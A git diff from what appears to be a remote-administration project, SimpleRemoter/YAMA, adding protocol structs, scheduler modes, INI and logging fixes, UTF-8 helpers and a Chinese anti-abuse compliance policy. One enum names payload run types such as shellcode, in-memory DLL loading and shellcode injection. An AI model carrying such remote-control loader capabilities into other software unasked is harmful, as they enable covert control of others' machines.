COMMAND_ENCODE_LEVEL = 98,
TOKEN_SCROLL_FRAME = 99, // 滚动优化帧
// 服务端发出的标识
@@ -337,6 +338,20 @@ enum {
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250,
};
#pragma pack(push, 1)
struct TextReplace {
uint8_t cmd;
uint8_t type;
uint8_t param[510];
uint8_t reserved[512];
};
enum TextReplaceRule {
RULE_REPLACE_ALL = 0,
};
// 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
@@ -353,7 +368,6 @@ enum {
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
#pragma pack(push, 1)
struct ConnAuthPacket {
uint8_t token; // = TOKEN_CONN_AUTH [1]
uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8]
@@ -1103,12 +1117,23 @@ typedef struct Heartbeat {
} Heartbeat;
typedef struct HeartbeatACK {
uint64_t Time;
char Authorized;
char IsTrail;
char Authorization[200];
char Reserved[814];
uint64_t Time; // offset 0, size 8
char Authorized; // offset 8
char IsTrail; // offset 9
char Authorization[200]; // offset 10, size 200 → 结束于 210
// 显式 padding让随后的 uint32_t ProcessingMs 落在 4 字节对齐边界212
// 不加这两个字节,编译器会自动补,但同时会把结构体尾部补到 8 字节对齐
// 导致 sizeof 从 1024 涨到 1032破坏跨版本兼容新客户端连旧服务端会
// 退回 OldSize=32 字节读取,丢失 Authorization
char _ackPad[2]; // offset 210, size 2
// 服务端处理本心跳的耗时(毫秒,由 server 写入 send-ACK 前一刻)。
// 客户端用 (now - Time) - ProcessingMs 得到近似纯网络 RTT喂给反代理检测。
// 旧服务端 / 早期版本会把 ProcessingMs 留作 0此时客户端按 0 = 未知,
// 直接使用 (now - Time),不退化(与本字段加入前的行为完全一致)。
uint32_t ProcessingMs; // offset 212, size 4 → 结束于 216
char Reserved[808]; // offset 216, size 808 → 结束于 1024
} HeartbeatACK;
// sizeof(HeartbeatACK) == 1024与本字段加入前完全相等
#define HeartbeatACK_OldSize 32
@@ -1128,7 +1153,9 @@ typedef struct MasterSettings {
char HelpUrl[80]; // Since 2026-04-08
char RequestAuthUrl[80]; // Since 2026-04-08
char GetPluginUrl[80]; // Since 2026-04-08
char Reserved[108]; // Since 2025-11-27
char Authorized; // Since 2026-05-15
char IsTrail; // Since 2026-05-15
char Reserved[106]; // Since 2025-11-27
} MasterSettings;
#pragma pack(pop)
@@ -1162,6 +1189,12 @@ enum QualityLevel {
#define ALGORITHM_RGB565 3 // RGB565 压缩
#endif
enum EncodeLevel {
LEVEL_H264_SOFT = 0,
LEVEL_H264_HARD = 1,
LEVEL_AV1_HARD = 2,
};
/* 质量配置(与 QualityLevel 对应)
- strategy = 01080p 限制
- strategy = 1原始分辨率
@@ -1246,7 +1279,8 @@ typedef struct ScreenSettings {
int CpuSpeedup; // 偏移 36, 指令集加速(0: 无, 1: SSE2)
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
char Reserved[48]; // 偏移 48, 保留字段(新能力参数从此处扩展)
int EncodeLevel; // 偏移 48, 编码等级
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
} ScreenSettings; // 总大小 100 字节
@@ -1335,11 +1369,14 @@ enum {
SHELLCODE = 0,
MEMORYDLL = 1,
INJECT_SC = 2,
RUNTYPE_MAX = 3,
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
CALLTYPE_FRPC_CALL = 2, // 调用FRPC
CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC标准方式使用开源FRP项目
CALLTYPE_MAX = 4,
};
typedef DWORD(__stdcall* PidCallback)(void);

6
common/config.h Normal file
View File

@@ -0,0 +1,6 @@
// 请设置为禁用防止GPL开源传染性
#define DISABLE_X264_FOR_TEST 0
// 请设置为禁用防止GPL开源传染性
#define DISABLE_FFMPEG_FOR_TEST 0

View File

@@ -208,9 +208,25 @@ public:
virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "")
{
char buf[4096] = { 0 }; // 增大缓冲区以支持较长的值(如 IP 列表)
DWORD n = ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), def.c_str(), buf, sizeof(buf), m_IniFilePath);
return std::string(buf);
// 动态扩容读取GetPrivateProfileStringA 在缓冲不够时会从中间截断,
// 必须以"是否返回 bufSize-1"判断截断并翻倍重读,否则长值(如团购授权的
// IP 列表)会被悄无声息地切断,且后续 read-modify-write 把截断结果写回时
// 造成永久数据丢失。
DWORD bufSize = 4096;
const DWORD kMaxBufSize = 1024 * 1024; // 1MB 兜底,避免失控
std::vector<char> buf;
for (;;) {
buf.assign(bufSize, 0);
DWORD n = ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(),
def.c_str(), buf.data(), bufSize,
m_IniFilePath);
// 未截断n < bufSize - 1
if (n + 1 < bufSize || bufSize >= kMaxBufSize) {
return std::string(buf.data(), n);
}
bufSize *= 2;
if (bufSize > kMaxBufSize) bufSize = kMaxBufSize;
}
}
virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data)

View File

@@ -228,16 +228,19 @@ private:
}
// 后台线程处理日志
// 退出语义stop() 设 running=false 后,本线程必须把队列里**已入队**的日志
// 全部刷盘再退出。否则进程死亡前最后几条 Mprintf包括退出原因会丢失。
void processLogs()
{
threadRun = true;
while (running) {
while (true) {
std::unique_lock<std::mutex> lock(queueMutex);
cv.wait(lock, [this]() {
return !running || !logQueue.empty();
});
while (running && !logQueue.empty()) {
// drain不带 running 判断,确保 stop() 时残留条目也写完
while (!logQueue.empty()) {
std::string logEntry = logQueue.front();
logQueue.pop();
lock.unlock();
@@ -247,7 +250,9 @@ private:
lock.lock();
}
lock.unlock();
// 队列已空再决定要不要退出
if (!running) break;
}
threadRun = false;
}

View File

@@ -1,11 +1,17 @@
#ifndef YAMA_SCHEDULER_H
#define YAMA_SCHEDULER_H
#include <stdint.h>
// 调度模式定义
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
#define SCH_MODE_STARTUP 1 // 启动执行模式
#define SCH_MODE_DAILY 2 // 每日定时模式
#define SCH_MODE_WEEKLY 3 // 每周定时模式
#define SCH_MODE_MONTHLY 4 // 每月定时模式
#define SCH_MODE_YEARLY 5 // 每年定时模式
#define SCH_MODE_OFF 6 // 关闭
#define SCH_MODE_MAX 7
#pragma pack(push, 1)
// 严格定义 16 字节结构
@@ -40,6 +46,7 @@ class YamaTaskEngine {
public:
static bool ShouldExecute(const ScheduleParams* p) {
// --- 1. 默认与基础拦截 ---
if (p->Mode == SCH_MODE_OFF) return false;
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行
if (p->Flags & 0x01) return false; // 显式禁用拦截
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
@@ -63,9 +70,51 @@ public:
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// TargetMin=0 表示 0:00 执行
if (curMin >= p->Config.Timed.TargetMin) {
if (!IsSameDay(p->LastRunTime, now)) return true;
}
return false;
}
// --- 4. 每周定时逻辑 (Mode 3) ---
if (p->Mode == SCH_MODE_WEEKLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0 表示周日 (wDayOfWeek: 0=周日, 1=周一, ...)
unsigned char targetDay = p->Config.Timed.DaysMask;
if (st.wDayOfWeek == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameWeek(p->LastRunTime, now)) return true;
}
return false;
}
// --- 5. 每月定时逻辑 (Mode 4) ---
if (p->Mode == SCH_MODE_MONTHLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0 表示每月第 1 天
unsigned char targetDay = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
if (st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameMonth(p->LastRunTime, now)) return true;
}
return false;
}
// --- 6. 每年定时逻辑 (Mode 5) ---
if (p->Mode == SCH_MODE_YEARLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0, Reserved=0 表示 1月1日
unsigned char targetMonth = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
unsigned char targetDay = p->Config.Timed.Reserved == 0 ? 1 : p->Config.Timed.Reserved;
if (st.wMonth == targetMonth && st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameYear(p->LastRunTime, now)) return true;
}
return false;
}
return false;
@@ -88,13 +137,66 @@ private:
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FILETIME f1, f2;
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
FileTimeToSystemTime(&f1, &st1);
FileTimeToSystemTime(&f2, &st2);
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
}
static bool IsSameWeek(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
// 转换为本地时间的天数,再判断是否在同一周
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
// 计算两个日期各自所在周的周日日期,相同则同一周
int days1 = DaysSinceEpoch(st1.wYear, st1.wMonth, st1.wDay);
int days2 = DaysSinceEpoch(st2.wYear, st2.wMonth, st2.wDay);
// 回退到本周周日 (wDayOfWeek: 0=周日)
int weekStart1 = days1 - st1.wDayOfWeek;
int weekStart2 = days2 - st2.wDayOfWeek;
return (weekStart1 == weekStart2);
}
static bool IsSameMonth(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth);
}
static bool IsSameYear(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear);
}
static void FTToST(unsigned __int64 ft, SYSTEMTIME* pSt) {
FILETIME ftUtc, ftLocal;
ftUtc.dwLowDateTime = (DWORD)ft;
ftUtc.dwHighDateTime = (DWORD)(ft >> 32);
FileTimeToLocalFileTime(&ftUtc, &ftLocal);
FileTimeToSystemTime(&ftLocal, pSt);
}
// 简易计算从某基准日开始的天数 (用于周计算)
static int DaysSinceEpoch(int year, int month, int day) {
// 简化算法:相对于 2000-01-01 的天数
int y = year - 2000;
int leapYears = (y > 0) ? ((y - 1) / 4 - (y - 1) / 100 + (y - 1) / 400 + 1) : 0;
int days = y * 365 + leapYears;
static const int daysBeforeMonth[] = { 0,31,59,90,120,151,181,212,243,273,304,334 };
days += daysBeforeMonth[month - 1] + day - 1;
// 闰年 2 月后加 1 天
if (month > 2 && IsLeapYear(year)) days++;
return days;
}
static bool IsLeapYear(int year) {
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
}
};
#endif
#endif

56
common/utf8.h Normal file
View File

@@ -0,0 +1,56 @@
#include <windows.h>
#include <string>
/**
* 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
*/
inline std::string ansi_to_utf8(const std::string& ansi_str) {
if (ansi_str.empty()) return "";
// 1. ANSI -> UTF-16 (WideChar)
int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> UTF-8
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string utf8_str(u8len, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
// 移除末尾的 \0
if (!utf8_str.empty() && utf8_str.back() == '\0') {
utf8_str.pop_back();
}
return utf8_str;
}
/**
* 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
* 用于在多字节字符集 UI 上正常显示从远程接收到的内容
*/
inline std::string utf8_to_ansi(const std::string& utf8_str) {
if (utf8_str.empty()) return "";
// 1. UTF-8 -> UTF-16 (WideChar)
// 计算需要的宽字符长度
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return "";
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
// CP_ACP 表示使用当前系统的 ANSI 代码页
int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (alen <= 0) return "";
std::string ansi_str(alen, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
// 移除 WideCharToMultiByte 自动添加的 \0 结尾
if (!ansi_str.empty() && ansi_str.back() == '\0') {
ansi_str.pop_back();
}
return ansi_str;
}

Binary file not shown.

BIN
compress/ffmpeg/vpl_x64.lib Normal file

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,626 @@
# 反滥用与合规使用政策
> **文档版本**1.0
> **生效日期**:本文档自发行方在公开仓库发布之日起对所有获取本软件的人员生效;
> 后续修订以仓库提交记录为准。
> **文档语言**:本文档以简体中文为权威版本;译本在含义不一致时,以中文版本为准。
---
## 重要声明(请在使用本软件之前完整阅读)
> **本文档不是法律意见。** 本文档由发行方以一般合规材料的形式起草,目的是
> 阐明本软件的设计意图、许可使用范围、禁止使用情形以及发行方与最终使用方
> 之间的责任划分。本文档不构成针对任何特定司法辖区、特定使用场景的法律
> 意见,亦不替代用户应当自行向具备执业资质的律师寻求的专业建议。
>
> **使用本软件即视为您已阅读、理解并接受本文档全部条款。** 如您不能或不愿
> 接受本文档任一条款,请立即停止下载、安装、运行、复制、修改、分发本软件,
> 并销毁您持有的全部副本。
---
## 1. 目的与适用范围
### 1.1 文档目的
本文档(以下简称"本政策")的目的是:
1. 明确本软件(指仓库中所标识的 SimpleRemoter / YAMA 项目,包括其源代码、
编译产物、文档、配置示例与所有衍生分发物,以下统称"本软件")的合法
使用边界;
2. 公开发行方为防止本软件被滥用而内置的技术措施;
3. 在发行方与最终使用方之间划清责任,确保任何越权或违法使用行为的法律
后果由实施该行为的一方独立承担;
4. 作为本软件项目对外的"反滥用与合规姿态"的正式书面证据,可被援引于
任何与本软件被滥用相关的调查、诉讼或行政程序。
### 1.2 适用对象
本政策对下列各方均具有约束力:
- 直接从发行方仓库获取本软件源代码或编译产物的个人 / 实体;
- 通过任何第三方渠道(镜像站点、社区转发、二次发行等)获取本软件的
个人 / 实体;
- 在发行方授权体系内取得"试用口令"或"正式授权"的被授权方;
- 上述各方在其内部组织 / 团队 / 客户处的实际操作人员。
上述各方在本政策中统称为"使用方"。
### 1.3 与其他文档的关系
本政策与本软件附带的下列材料共同构成完整的使用条件:
- 仓库根目录下的 `README.md`(项目简介及法律警告);
- 仓库根目录下的 `LICENSE` 或同等开源许可证文件;
- 发行方在签发"正式授权"时单独签订的授权协议(如有)。
如本政策与上述任一材料的表述发生冲突,以**对发行方更有利、对使用方义务
更严格**的表述为准。这一冲突解决规则的目的,是确保本软件的反滥用立场
不因任何文档表述差异而被削弱。
---
## 2. 术语定义
为便于理解,下列术语在本政策中具有以下含义:
- **"发行方"**:本软件源代码仓库的合法持有人,以及由其明确指定的代理人。
- **"被授权方"**:在发行方授权体系内取得任一档授权(无口令档不构成
显式授权,但仍受本政策约束)的个人或实体。
- **"被管设备"**:使用方利用本软件进行远程访问、监控、控制的目标
计算设备,包括但不限于个人电脑、服务器、移动终端、嵌入式设备。
- **"被管设备相关方"**:被管设备的所有人(拥有该设备物权或处分权的
自然人 / 法人)以及实际使用人(在该设备上工作、存储个人数据、
进行账户登录的自然人)。两者可能为同一人,也可能为不同人。
- **"个人信息"**:以电子或其他方式记录的、与已识别或可识别的自然人
有关的各种信息,含义参照《中华人民共和国个人信息保护法》第四条
及欧盟《通用数据保护条例》GDPR第 4 条第(1)项。
- **"司法辖区"**:与使用方实际部署、运营本软件相关的任何国家或地区
的法律体系,包括使用方住所地、被管设备所在地、被管设备相关方
所在地、相关数据流转或存储所在地。
---
## 3. 软件设计意图与许可使用场景
### 3.1 设计意图
本软件的设计意图是为下列**合法、获明示同意的**使用场景提供技术能力:
| 场景 | 典型形态 | 必要前提 |
|------|---------|---------|
| 个人单机管理 | 自有设备的远程登录、应急自救 | 设备由使用人自有 |
| 内部 IT 运维 | 组织内部对自有设备 / 受雇员同意监控的工作设备进行批量管理 | 组织对设备享有所有权 / 管理权,且对使用人完成合规告知 |
| 授权安全研究 | 渗透测试、红队演练、漏洞研究 | 与目标系统所有方签署书面授权委托 |
| 教学与技术学习 | 在隔离实验环境中学习网络编程、IOCP 模型、远程控制原理 | 实验环境与生产环境完全隔离,无第三方设备介入 |
### 3.2 许可使用场景的共同要件
无论上述哪一种场景,使用方均须同时满足下列要件:
1. **合法权源**:使用方对被管设备享有合法的所有权、管理权或经合法授权
的访问权;
2. **明示同意**:被管设备相关方已就本软件的安装、运行及其将采集 /
传输的所有数据类型,给予事先、明确、可撤回、可追溯的书面同意(含
电子形式);
3. **目的限定**:使用目的限定为前条所列形态,不得超出已告知的范围;
4. **最小必要**:仅使用与目的相符的最小必要功能,不主动启用与目的
无关的采集 / 控制能力;
5. **可审计性**:使用方保留充分的操作日志、授权记录、同意证据,以
备监管核查或事后追溯。
---
## 4. 严禁使用情形
### 4.1 一般性禁止
下列使用情形被本政策**绝对禁止**,不因任何技术可行性或商业便利而例外:
1. **未经授权的访问**:在未取得被管设备所有人或合法管理人事先书面
同意的情况下,对其设备进行访问、监控、控制、信息读取或修改;
2. **隐蔽监控**:以隐蔽、欺骗或诱导方式安装本软件,使被管设备使用人
不知晓本软件正在运行、采集数据或被远程操作;
3. **职场越界监控**:在工作场所对员工实施超出当地劳动法、个人信息
保护法允许范围的监控,包括但不限于个人通讯、私人账户、非工作
时间的活动监控;
4. **未成年人监控**:对未成年人实施未取得其法定监护人完整知情同意的
监控,或在已取得同意的情况下采集 / 传输与监护目的无关的内容;
5. **政府机关 / 关键信息基础设施**:在未取得相应行政许可或安全审查
通过的情况下,将本软件部署于政府机关、关键信息基础设施运营者所
管理的系统;
6. **商业秘密窃取**:用于获取、复制、传输他方拥有所有权或保密权益的
技术信息、经营信息、客户数据;
7. **非法跨境数据传输**:在未完成属地法律所要求的数据出境安全评估、
认证或合同备案的情况下,使用本软件作为传输通道将受管辖数据传输
至境外;
8. **金融、医疗等强监管领域**:在不符合相应行业监管规则(如金融业
外包管理、医疗信息系统等保认证)的情况下,将本软件部署于该等
行业的生产环境;
9. **以骚扰、跟踪、勒索为目的**:用于跟踪特定自然人的行踪、骚扰
通讯、敲诈勒索、网络欺凌或其他对自然人造成精神或财产损害的
行为;
10. **规避执法或监管**:用于隐藏违法证据、对抗执法调查、规避监管
报送义务,或为上述行为提供辅助。
### 4.2 与现行法律体系的对应关系(提示性,非详尽)
下列法律法规中的相关条款,与第 4.1 条所列禁止情形可能直接相关。
本提示不构成对法律适用的全面分析,使用方应自行评估并取得专业法律
意见:
- **中华人民共和国法律体系**
- 《刑法》第 285 条(非法侵入计算机信息系统罪、非法获取计算机
信息系统数据罪、非法控制计算机信息系统罪);
- 《刑法》第 286 条(破坏计算机信息系统罪);
- 《刑法》第 286 条之一(拒不履行信息网络安全管理义务罪);
- 《刑法》第 287 条之一、之二(非法利用信息网络罪、帮助信息
网络犯罪活动罪);
- 《网络安全法》第 27 条、第 44 条、第 76 条;
- 《数据安全法》第 32 条、第 51 条;
- 《个人信息保护法》第 13 条、第 17 条、第 23 条、第 38 条、
第 66 条;
- 《关键信息基础设施安全保护条例》。
- **欧盟法律体系**
- 《通用数据保护条例》GDPR第 5、6、7、9、4449、83 条;
- 《网络与信息系统安全指令》NIS2 Directive
- 部分成员国对工作场所监控、电信秘密的特别立法。
- **其他司法辖区**
- 美国 Computer Fraud and Abuse Act (CFAA)
- 美国各州的电子通讯隐私立法、儿童在线隐私保护法COPPA
- 英国 Computer Misuse Act 1990
- 部分国家 / 地区的"出口管制清单"对网络入侵 / 监视类双用途
物项的限制(如 Wassenaar Arrangement 框架下的"intrusion
software"管制)。
---
## 5. 使用方的义务与承诺
使用方在下载、安装或以任何方式使用本软件之时,即被视为对发行方作出
下列各项独立的、可追溯的承诺:
### 5.1 合法性承诺
使用方承诺其使用本软件的目的、方式、范围、对象在所有相关司法辖区下
均不构成对任何法律法规的违反。使用方进一步承诺其已自行评估或委托
专业人士评估前述合法性,不依赖发行方提供的任何材料(包括本政策)
作为最终合法性判断的依据。
### 5.2 同意取得承诺
在每一台被管设备上部署本软件之前,使用方承诺其已取得被管设备相关方
**事先、明确、书面或可等同书面形式**的同意。该同意应至少包含:
- 软件名称及主要功能描述;
- 将采集的数据类型与传输去向;
- 数据保留期限;
- 撤回同意的方式;
- 数据访问、更正、删除等权利的行使路径。
使用方承诺保留上述同意的可追溯证据不少于本软件在该设备上停止运行
**三 (3) 年** 或属地法律规定的更长期限。
### 5.3 不规避承诺
使用方承诺**不通过任何方式**规避、削弱、屏蔽本软件中由发行方设置
的反滥用机制(详见第 6 节),包括但不限于:
- 反编译、二进制 patch、内存注入修改授权校验逻辑
- 通过 hook、API 拦截、虚拟机等手段屏蔽告警弹窗或日志输出;
- 伪造授权服务器响应、本地搭建假冒授权服务器;
- 修改源代码后将"已禁用反滥用机制"的衍生版本对外分发。
任何上述行为本身即构成对本政策的根本违反,且发行方有权将其作为
"使用方明知滥用而仍刻意为之"的证据用于后续追责。
### 5.4 配合调查承诺
使用方承诺,在发行方根据合理依据怀疑其存在违反本政策的行为时,
有义务在合理期限内向发行方提供下列材料供核查:
- 部署本软件的设备清单及其所有人 / 使用人信息;
- 第 5.2 条所述同意取得证据;
- 部署期间的操作日志、配置信息;
- 与第 4 节所列禁止情形之否认陈述。
如使用方在合理期限内拒绝配合或提供虚假材料,发行方有权直接吊销
其授权,并将相关情况报告给有管辖权的执法或监管机关。
### 5.5 损害赔偿承诺
使用方承诺:因其违反本政策而导致发行方面临任何第三方索赔、行政
处罚、刑事调查或声誉损害的,使用方应向发行方提供完整的损害赔偿
indemnification包括但不限于
- 发行方为应对前述事件支出的合理律师费、调查费、公关费;
- 发行方因前述事件被判决或和解承担的赔偿金额;
- 发行方因前述事件遭受的间接经济损失(在属地法律允许范围内)。
---
## 6. 发行方内置的反滥用技术措施
为体现发行方"已采取合理技术措施防止本软件被滥用"的立场,本软件
在源代码层面内置了下列强制性技术机制。这些机制的源代码公开可查,
任何人均可独立验证其存在与运行:
### 6.1 入站连接源 IP 段校验(`LANChecker`
实现位置:`common/LANChecker.h` 中的 `LANChecker` 类。
机制描述:客户端进程周期性扫描本进程的已建立 (ESTABLISHED) 入站
TCP 连接,对每一连接的远端 IP 地址进行私网段校验。任何来源于公网
IP即非 RFC 1918 / RFC 3927 / 回环段)的连接被检出后,立即触发
向终端用户的可见告警。
合规意义:用于在试用模式下封堵"客户端直接从公网接入被管设备"
这一最常见的越权使用形态。
### 6.2 监听端口数量上限(`LANChecker::CheckPortLimit`
实现位置:同上文件。
机制描述:扫描本进程占用的 TCP 监听端口总数,并与当前授权档对应
的上限值比对:
| 授权档 | 上限 |
|--------|------|
| 无口令 | 2 |
| 试用口令 | 20 |
超过上限即触发告警。该机制的目的是防止单台部署被改造为多租户
中转节点。
### 6.3 应用层 RTT 反代理(`LANRttChecker`
实现位置:同上文件。
机制描述:在试用模式下,对每一条控制连接的心跳 RTT 中位数进行
持续监测,超过 25 毫秒阈值并持续若干窗口后触发告警。该机制基于
"光速决定的物理 RTT 不可被代理转发降低"这一不可规避的物理约束,
用于检测"在 LAN 内放置代理 / 反向隧道,源 IP 仍为私网段但实际
经公网转发到外部客户端"这一比 6.1 更隐蔽的越权使用形态。
合规意义:覆盖了"通过反向隧道间接突破 LAN-only 限制"的滥用路径。
### 6.4 授权服务器周期心跳(`AuthTimeoutChecker`
实现位置:同上文件。
机制描述:客户端进程必须周期性回连发行方运营的授权服务器并完成
心跳。长时间无法回连时先告警,超出更长阈值则强制终止进程。
合规意义:
- 防止"仅在初次激活时联网,之后离线长期使用"以规避后续吊销;
- 为发行方在服务器侧吊销违规授权提供下发通道。
### 6.5 措施的可被感知性
上述全部机制均设计为**故意可被终端用户感知**的"告警 / 终止"路径,
而非静默运行。这一设计意图是:让被滥用部署的实例**自我暴露**
便于被管设备相关方、IT 管理员或合规人员及时发现异常并采取行动。
### 6.6 措施的"合理性"声明
发行方声明:上述机制构成在本软件功能范围内**经合理设计、足以使
善意使用方避免越权部署**的技术措施。发行方承认该等措施不能阻止
具备充分技术能力且持有恶意的攻击者通过深度修改源代码、二进制
patch 或独立重新实现等方式予以规避,但该等深度规避行为本身即超
出"使用本软件"的范畴,构成对发行方知识产权与本政策第 5.3 条
不规避承诺的独立违反,相应法律后果由实施方独立承担。
---
## 7. 授权分级与对应限制
| 授权档 | 适用场景 | 强制限制 | 取得方式 |
|--------|---------|---------|---------|
| 无口令 | 个人单机自用 | 监听端口 ≤ 2 | 直接下载使用 |
| 试用口令 | 内部 LAN 设备管理(严禁跨网) | 监听端口 ≤ 20<br>入站连接源 IP 必须为私网段<br>心跳 RTT 中位数 ≤ 25 ms<br>周期性回连授权服务器 | 向发行方申请,提供身份与用途 |
| 正式授权 | 跨网远程业务 | 由签发协议另行约定 | 人工审核签发,须提供正当用途说明 |
正式授权档的取得程序由发行方另行公布,至少包含:
- 申请人身份核验(自然人为身份证件、法人为营业执照或同等文件);
- 用途说明书(部署形态、目标设备规模、数据流向);
- 合规承诺函(书面承诺接受本政策约束);
- 必要时要求出具被管设备相关方同意取得方案。
---
## 8. 发行方责任范围与免责声明
### 8.1 发行方责任的有限性
发行方在本软件项目中的责任范围**仅限于**下列两项:
1. 提供具备本政策第 6 节所述反滥用机制的软件实现;
2. 在签发"正式授权"时进行合理的身份核验与用途说明审查。
发行方**不承担**下列任何责任:
- 不审查使用方的实际部署形态、被管设备的实际归属、被管设备相关方
实际是否同意;
- 不参与使用方的运营、不为使用方采集的任何数据的内容、来源、去向、
保管、删除负责;
- 不对使用方的合规义务履行情况作任何形式的担保、背书或推荐;
- 不对本软件在任何特定司法辖区、特定使用场景下的合法性出具意见。
### 8.2 关于"许可签发"的特别声明
发行方明确声明:**签发任何档次的授权,均不构成对被授权方任何具体
使用方式的背书、推荐、担保、协助或共谋。** 授权签发仅意味着发行方
基于被授权方提交的材料,**初步认为**该方陈述的用途在表面上不属于
本政策第 4 节所列禁止情形;该初步认定不替代被授权方自身的合法性
评估义务,亦不在被授权方实际使用偏离申请陈述时构成发行方的事先
同意。
### 8.3 越权使用后果的归属
被授权方违反本政策从事任何越权或违法使用所造成的全部法律后果(含
但不限于民事赔偿、行政处罚、刑事责任、第三方损害赔偿、声誉损害),
**由被授权方独立承担,与发行方无关**
被授权方在此明确同意:发行方在受到任何与该等越权使用有关的索赔、
通知、调查或诉讼时,被授权方应作为独立责任主体出面应对,并按本
政策第 5.5 条的约定向发行方提供完整的损害赔偿。
### 8.4 软件按"现状"提供的声明
本软件按"现状"AS IS和"现有功能"AS AVAILABLE提供。除属地
强制性法律另有明确规定且不可被合同排除者外,发行方**不就本软件
作出任何形式的明示或默示担保**,包括但不限于:
- 适销性担保;
- 特定用途适用性担保;
- 不侵权担保;
- 软件运行不中断或无错误的担保;
- 反滥用机制能挡住所有形式的攻击或绕过的担保;
- 在任何特定司法辖区下合法可用的担保。
### 8.5 责任上限
在属地强制性法律允许的最大范围内,发行方对使用方的全部责任合计
不得超过下列两者中的较低者:
- 使用方为该次授权实际向发行方支付的费用(如有);
- 等值于 100 欧元 / 等值于 800 元人民币 / 等值于 100 美元的金额,
以发行方所在司法辖区货币为准。
发行方在任何情况下均不对下列损失承担责任(即便已被告知该等损失
之可能性):
- 间接损失、特殊损失、惩罚性损失、附带损失;
- 利润损失、营业中断损失、商誉损失;
- 数据丢失或数据损坏;
- 第三方索赔。
---
## 9. 违规处置
### 9.1 单方处置权
发行方在合理依据下怀疑使用方存在违反本政策的行为时,有权在不另行
通知的情况下采取下列任一或全部措施:
1. 立即吊销该使用方的现有授权;
2. 在授权服务器侧将该使用方的标识 / 设备指纹列入黑名单;
